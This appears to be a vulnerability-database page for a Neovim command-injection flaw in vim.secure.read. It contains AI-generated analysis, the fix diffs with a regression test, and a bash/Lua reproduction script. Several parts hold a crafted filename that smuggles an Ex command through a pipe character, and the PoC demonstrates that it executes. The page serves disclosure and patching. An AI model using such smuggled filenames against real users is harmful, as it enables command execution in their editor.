CVE-2026-11487
Description
Neovim versions prior to 0.12.2 are vulnerable to command injection via manipulated filenames in the vim.secure.read function.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Neovim versions prior to 0.12.2 are vulnerable to command injection via manipulated filenames in the `vim.secure.read` function.
Vulnerability
A command injection vulnerability exists in Neovim up to version 0.12.2 within the M.read function in runtime/lua/vim/secure.lua. The View Branch component concatenates an unescaped file path into the sview Ex command. This allows an attacker to inject additional Ex commands by manipulating the filename, thereby bypassing security boundaries when viewing untrusted files [1].
Exploitation
An attacker can exploit this vulnerability by creating a specially crafted filename that includes shell metacharacters, such as a pipe symbol (|), followed by arbitrary Ex commands. For example, a filename like victim|let g:secure_poc=123 could be used. The attacker needs to trick the user or the system into calling vim.secure.read() with this malicious filename, potentially through local file access or by manipulating a file that will be opened by Neovim [1].
Impact
Successful exploitation allows an attacker to execute arbitrary Ex commands within the context of Neovim. This can lead to the execution of commands with the privileges of the Neovim process, potentially resulting in unauthorized actions on the local host, such as information disclosure or further system compromise [1].
Mitigation
This vulnerability is fixed in Neovim version 0.12.2 and later, with the patch applied via commit f83e0dcaf8cf18de94828341b0a1a61a86c75baf [3]. The fix involves using the fnameescape() function to properly escape filenames, preventing command injection [4]. No workarounds are mentioned in the available references.
AI Insight generated on Jun 8, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
2Patches
2f83e0dcaf8cffix(vim.secure): read() command injection vulnerability #39918
2 files changed · +29 −1
runtime/lua/vim/secure.lua+1 −1 modified@@ -150,7 +150,7 @@ function M.read(path) return nil elseif result == 2 then -- View - vim.cmd('sview ' .. fullpath) + vim.cmd(('sview %s'):format(vim.fn.fnameescape(fullpath))) return nil elseif result == 3 then -- Deny
test/functional/lua/secure_spec.lua+28 −0 modified@@ -275,6 +275,34 @@ describe('vim.secure', function() -- Trust database is not updated eq(nil, read_file(vim.fs.joinpath(stdpath('state'), 'trust'))) end) + + it('(v)iew action does not execute malicious filename #39914', function() + if t.skip(t.is_os('win'), 'N/A: filename cannot have "|" char') then + return + end + + local evil = 'Xfile|let g:secure_poc=42' + t.write_file(evil, 'pwned\n') + finally(function() + os.remove(evil) + end) + + eq( + nil, + exec_lua(function(path) + vim.fn.confirm = function() + return 2 -- View + end + return vim.secure.read(path) + end, evil) + ) + + -- Malicious injected `:let` did NOT execute. + eq(0, fn.exists('g:secure_poc')) + -- The file is opened in a [RO] split with its literal name. + eq(true, api.nvim_get_option_value('readonly', {})) + eq(evil, vim.fs.basename(api.nvim_buf_get_name(0))) + end) end) describe('trust()', function()
799cbfff855cfix(vim.secure): read() command injection vulnerability #39918
2 files changed · +29 −1
runtime/lua/vim/secure.lua+1 −1 modified@@ -151,7 +151,7 @@ function M.read(path) return nil elseif result == 2 then -- View - vim.cmd('sview ' .. fullpath) + vim.cmd(('sview %s'):format(vim.fn.fnameescape(fullpath))) return nil elseif result == 3 then -- Deny
test/functional/lua/secure_spec.lua+28 −0 modified@@ -268,6 +268,34 @@ describe('vim.secure', function() -- Trust database is not updated eq(nil, read_file(vim.fs.joinpath(stdpath('state'), 'trust'))) end) + + it('(v)iew action does not execute malicious filename #39914', function() + if t.skip(t.is_os('win'), 'N/A: filename cannot have "|" char') then + return + end + + local evil = 'Xfile|let g:secure_poc=42' + t.write_file(evil, 'pwned\n') + finally(function() + os.remove(evil) + end) + + eq( + nil, + exec_lua(function(path) + vim.fn.confirm = function() + return 2 -- View + end + return vim.secure.read(path) + end, evil) + ) + + -- Malicious injected `:let` did NOT execute. + eq(0, fn.exists('g:secure_poc')) + -- The file is opened in a [RO] split with its literal name. + eq(true, api.nvim_get_option_value('readonly', {})) + eq(evil, vim.fs.basename(api.nvim_buf_get_name(0))) + end) end) describe('trust()', function()
Vulnerability mechanics
Root cause
"The `vim.secure.read()` function concatenates an unescaped file path into an Ex command, allowing command injection."
Attack vector
An attacker can craft a malicious filename containing Ex command separators, such as a pipe symbol followed by commands. When the user selects the 'View' option in the trust prompt for this file, Neovim executes the injected commands. This vulnerability requires the attacker to control the filename and the user to interact with the trust prompt by choosing to view the file [ref_id=1]. The attack can be performed locally on the host.
Affected code
The vulnerability resides in the `M.read` function within the `runtime/lua/vim/secure.lua` file. The issue specifically occurs when the function handles the 'View' action, where it constructs and executes the `sview` command using a directly concatenated file path.
What the fix does
The patch addresses the command injection vulnerability by escaping the file path before it is used in the `sview` Ex command. Specifically, the `vim.fn.fnameescape()` function is now used to sanitize the `fullpath` variable. This ensures that any special characters within the filename, which could be interpreted as command separators, are properly escaped and treated as literal characters, thus preventing the execution of unintended commands [patch_id=5187679].
Preconditions
- inputAttacker controls the filename of a file that the user attempts to view.
- inputUser selects the 'View' option when prompted about the untrusted file.
Reproduction
```bash tmpdir=$(mktemp -d) target="$tmpdir/victim|let g:secure_poc=123" printf 'test content\n' > "$target"
cat > "$tmpdir/repro.lua" <<'EOF' -- Dynamically locate the correct path for secure.lua local runtime_path = vim.fn.stdpath('run') or '/usr/share/nvim/runtime' local secure_path = vim.fn.globpath(vim.o.runtimepath, 'lua/vim/secure.lua'):match('[^\n]+')
if not secure_path or secure_path == '' then -- Try common paths local candidates = { '/usr/share/nvim/runtime/lua/vim/secure.lua', '/usr/local/share/nvim/runtime/lua/vim/secure.lua', vim.fn.expand('$VIMRUNTIME') .. '/lua/vim/secure.lua' } for _, path in ipairs(candidates) do local f = io.open(path, 'r') if f then f:close() secure_path = path break end end end
if not secure_path or secure_path == '' then io.stderr:write("Error: Cannot find secure.lua\n") io.stderr:write("Try: find /usr -name 'secure.lua' 2>/dev/null\n") os.exit(1) end
-- Hook the confirm function to force return 2 (View option) vim.fn.confirm = function(...) return 2 -- Choose "View" end
-- Load the secure module local secure = dofile(secure_path)
-- Trigger the vulnerability local path = vim.env.TARGET local ok, err = pcall(secure.read, path)
io.stdout:write("=== Results ===\n") io.stdout:write("secure.read success: " .. tostring(ok) .. "\n") io.stdout:write("g:secure_poc value: " .. tostring(vim.g.secure_poc) .. "\n")
if not ok then io.stdout:write("Error: " .. tostring(err) .. "\n") end EOF
echo "=== Executing PoC ===" TARGET="$target" nvim --headless -u NONE \ -c "luafile $tmpdir/repro.lua" \ -c "qa!" 2>&1
rm -rf "$tmpdir" ```
Generated on Jun 8, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
7News mentions
0No linked articles in our index yet.